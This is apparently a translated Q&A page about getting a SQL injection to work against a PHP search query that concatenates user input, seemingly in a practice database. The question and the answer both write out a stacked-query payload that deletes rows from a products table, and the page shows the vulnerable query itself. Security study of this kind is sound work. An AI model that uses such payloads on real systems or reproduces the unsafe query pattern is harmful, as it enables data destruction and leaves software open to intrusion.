sql - 如何使 SQL injection 是这个易受攻击的查询

我有这个从用户输入接收参数的查询,我认为我很容易受到 SQL injection 的攻击。

$query = "SELECT pcode,price,description
FROM products 
WHERE description like '%" . $search_criteria . "%' ORDER BY PRICE ";

为了测试它是否真的很脆弱,我正在尝试发送以下输入

%';DELETE FROM products WHERE cid=18;#

以便运行删除指令,但此输入的结果查询如下。

pcode,price,description FROM products WHERE description like '%%';DELETE FROM products WHERE cid=18#' %' ORDER BY PRICE

虽然我的测试参数出现在结果 SQL 中,但 SQL 的其余部分(“%' ORDER BY PRICE)没有被 # 忽略。

我需要进行哪些调整才能使我的输入删除测试行?

输出

SQL Error:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'DELETE FROM products WHERE cid=17;-- %' ORDER BY PRICE' at line 1
SQL Statement:SELECT pcode,price,description FROM products WHERE description like '%%';DELETE FROM products WHERE cid=17;-- %' ORDER BY PRICE
Did you run setupreset.php to setup/reset the DB?

后端如何执行查询

$query = "SELECT pcode,price,description FROM products WHERE description like '%" . $search_criteria . "%' ORDER BY PRICE ";
$result = execute_query($query);

回答1

您要破解哪个目标 DBMS?基本上您可以尝试使用以下条件:

%';DELETE FROM products WHERE cid=18;--'

查看脚本:https://www.db-fiddle.com/f/3jC8PGeZZEuty3XVq8gdzz/1

相似文章

java - 部署刷新接管项目的问题

当我尝试将我的war部署到tomcat时,我收到以下错误,对于可以提供的任何帮助,我都会非常感激。我提供了错误/堆栈跟踪和它似乎引用的源代码。任何可以提供修复源代码的帮助将不胜感激。如果您需要更多详细...

随机推荐

最新文章